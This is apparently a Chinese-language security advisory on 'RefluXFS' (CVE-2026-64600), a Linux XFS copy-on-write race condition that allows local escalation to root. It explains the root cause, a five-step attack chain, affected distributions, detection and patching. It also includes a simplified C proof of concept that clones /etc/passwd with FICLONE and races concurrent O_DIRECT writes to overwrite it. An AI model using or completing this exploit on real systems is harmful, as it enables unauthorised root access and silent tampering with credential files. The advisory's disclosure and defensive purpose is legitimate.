CVE-2026-64600CVSS 紧急PoC已公开补丁已发布
本地提权竞态条件XFS文件系统1640万系统受影响补丁已合并
漏洞概述
漏洞类型
竞态条件(Race Condition)→ 本地提权至Root
CVSS评分
紧急优先级(Emergency Priority)
影响产品
Linux Kernel v4.11 ~ v6.x(2017年至今)
引入提交
3c68d44a2b49(xfs: allocate direct I/O COW blocks in iomap_begin)
修复提交
2f4acd0(xfs: resample the data fork mapping after cycling ILOCK)
技术细节
RefluXFS是Linux内核XFS文件系统写时复制(Copy-on-Write, CoW)路径中的一个竞态条件漏洞。该漏洞由Qualys威胁研究单元(TRU)联合Anthropic通过AI辅助审计工作流发现,AI模型Claude Mythos Preview在内核源码中迭代搜索Dirty COW类型的竞态条件后定位到XFS的CoW代码路径。
漏洞根因:当两个并发的O_DIRECT写操作瞄准同一个reflink文件时,XFS使用CoW机制处理对共享块的写入——分配新的私有块、重映射文件、递减原始块的引用计数。为避免死锁,内核在等待事务日志空间时会释放inode锁(ILOCK)。在这个锁释放窗口期间,第二个写者可以完成自己的CoW周期,将克隆文件重映射到新块。当第一个写者重新获取锁后,它刷新CoW fork但继续使用旧的data fork映射——一个已经过时的块地址。
这个过时的地址指向一个仅由原始受保护文件拥有的物理块。XFS认为该块未共享并允许直接写入,因此本应写入攻击者克隆文件的数据直接落入目标文件的物理块中。由于是直接I/O绕过页缓存,修改直接落盘,且完全绕过目标inode——因此目标文件的所有权、权限、时间戳和SUID位都不会改变。
c漏洞核心代码路径
/* xfs_reflink_fill_cow_hole() - 漏洞触发路径 */
/* 漏洞存在于锁释放-重获取窗口中 */
int xfs_reflink_fill_cow_hole(struct xfs_inode *ip, ...) {
/* 步骤1: 在ILOCK保护下读取data fork映射 */
imap = xfs_bmapi_read(ip, ...);
/* 步骤2: 释放ILOCK以预留事务空间(死锁避免) */
xfs_iunlock(ip, XFS_ILOCK_EXCL);
/* ===== 竞态窗口 ===== */
/* 此时第二个写者可以完成CoW,将文件重映射到新块 */
/* imap中的块地址已过时(stale) */
/* 步骤3: 重新获取ILOCK */
xfs_ilock(ip, XFS_ILOCK_EXCL);
/* 步骤4: 刷新CoW fork,但未重新采样data fork! */
/* imap仍然指向旧块 - 该块现在仅属于原始受保护文件 */
/* 步骤5: 直接写入 - 数据落入原始文件而非克隆文件 */
xfs_reflink_allocate_cow(ip, &imap, ...);
}
/* 修复补丁(commit 2f4acd0):
* 在重新获取ILOCK后,检查ip->i_df.if_seq是否变化
* 如果序列号移动,使用xfs_bmapi_read()重新读取data fork */
利用条件:需同时满足三个条件:(1) 内核版本v4.11或更高(2017年至今);(2) XFS文件系统以reflink=1创建(自2019年起已是mkfs.xfs默认选项);(3) 文件系统上存在高价值目标文件和攻击者可写目录——这在默认单卷安装中天然满足(/var/tmp世界可写且与/etc和/usr/bin位于同一根文件系统)。
攻击链分析
步骤一:目标侦察
攻击者确认目标系统使用XFS根文件系统且reflink=1已启用(通过执行xfs_info / | grep reflink=检查),并识别高价值目标文件(如/etc/passwd或SUID-root二进制文件/usr/bin/su)
步骤二:Reflink克隆
使用FICLONEioctl将目标文件克隆到攻击者可控的临时文件中(仅需对源文件的读权限),两个文件此时引用相同的物理磁盘块
步骤三:竞态触发
对克隆文件发起两个并发O_DIRECT写操作。第一个写者触发CoW路径,在ILOCK释放窗口中,第二个写者完成CoW周期并重映射克隆文件。第一个写者重新获取锁后继续使用过时的块地址
步骤四:块层覆写
过时地址指向的块此时仅由原始受保护文件拥有。XFS判定该块"未共享",允许直接写入。攻击者的数据直接落入目标文件的物理块中,绕过inode元数据检查
步骤五:持久化Root权限
若目标为/etc/passwd,攻击者修改root行密码字段为空;若目标为SUID-root二进制,修改后仍保持SUID位不变。修改持久化至磁盘,重启后仍然有效,且不产生任何内核日志
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。Qualys已在RHEL 10.2默认安装上验证PoC可靠性。
c核心利用逻辑
/* RefluXFS PoC - 简化概念验证 */
/* 完整PoC由Qualys TRU验证,可在RHEL/Fedora默认安装上数秒内提权至root */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <pthread.h>
const char *target = "/etc/passwd";
const char *scratch = "/var/tmp/.reflux_scratch";
void *writer_thread(void *arg) {
int fd = open(scratch, O_WRONLY | O_DIRECT);
char *buf = aligned_alloc(4096, 4096);
memcpy(buf, payload, 4096); // 修改后的/etc/passwd内容
while (1) {
pwrite(fd, buf, 4096, 0); // 持续写入触发CoW竞态
}
}
int main() {
// 步骤1: reflink克隆目标文件到可控位置
int src = open(target, O_RDONLY);
int dst = open(scratch, O_CREAT|O_WRONLY, 0644);
ioctl(dst, FICLONE, src); // 仅需读权限
// 步骤2: 启动并发写线程制造竞态
pthread_t t1, t2;
pthread_create(&t1, NULL, writer_thread, NULL);
pthread_create(&t2, NULL, writer_thread, NULL);
// 竞态成功后,/etc/passwd在块层被覆写
// root账户密码保护被移除,实现无密码root访问
// 修改持久化、无内核日志、SUID位不受影响
}
bash检测命令
# 检查根文件系统是否受影响
xfs_info / | grep reflink=
= reflink=1 bigtime=1 nrext64=1
# reflink=1 表示受影响,需立即更新内核并重启
# 检查当前内核版本
uname -r
5.14.0-427.13.1.el9_4.x86_64
影响范围
RHEL 8 / 9 / 10— 默认安装使用XFS reflink,开箱可利用
CentOS Stream 8 / 9 / 10— 同RHEL,默认安装受影响
Rocky Linux / AlmaLinux 8 / 9 / 10— RHEL衍生版,全部受影响
Oracle Linux 8 / 9 / 10— RHCK与UEK R6/R7/R8均受影响
Fedora Server ≥ 31— 默认XFS安装受影响
Amazon Linux 2023 / AL2 (2022年12月起)— 云环境高风险
CloudLinux 8 / 9 / 10— 共享主机环境尤其危险
Debian / Ubuntu / SUSE— 默认不使用XFS,但手动选择XFS安装时受影响
据Qualys估计,全球约1640万台系统可能受此漏洞影响。
防御指南
修复与缓解
- 立即更新内核至发行版提供的修复版本,并执行完整重启以确保补丁生效
- 优先处理多租户和面向互联网的系统——任何允许不可信代码本地运行的XFS主机应最先修补
- 无可靠临时缓解措施——不存在可阻断该漏洞的配置变更、sysctl或mount选项,reflink是超级块特性,mkfs时固定
- 审计本地用户账户——排查是否存在可疑的低权限账户曾被用于提权
- 检查关键文件完整性——对比
/etc/passwd和SUID-root二进制的hash值与已知基线 - 监控异常行为——关注普通用户访问
/var/tmp对系统文件发起的密集I/O操作
⚡ 紧急建议
该漏洞自2017年起潜伏于Linux内核中,利用高度可靠、不留内核日志、修改持久化至磁盘且重启后仍然有效。SELinux、KASLR、SMEP、SMAP等标准防御机制均无法阻断攻击,因为漏洞在文件系统分配层运作,低于这些保护机制的作用范围。建议所有使用XFS reflink的Linux系统立即安排内核更新窗口。
法律声明
以上信息仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。漏洞信息基于Qualys TRU公开安全公告、The Hacker News、BleepingComputer及seclists.org邮件列表报道整理。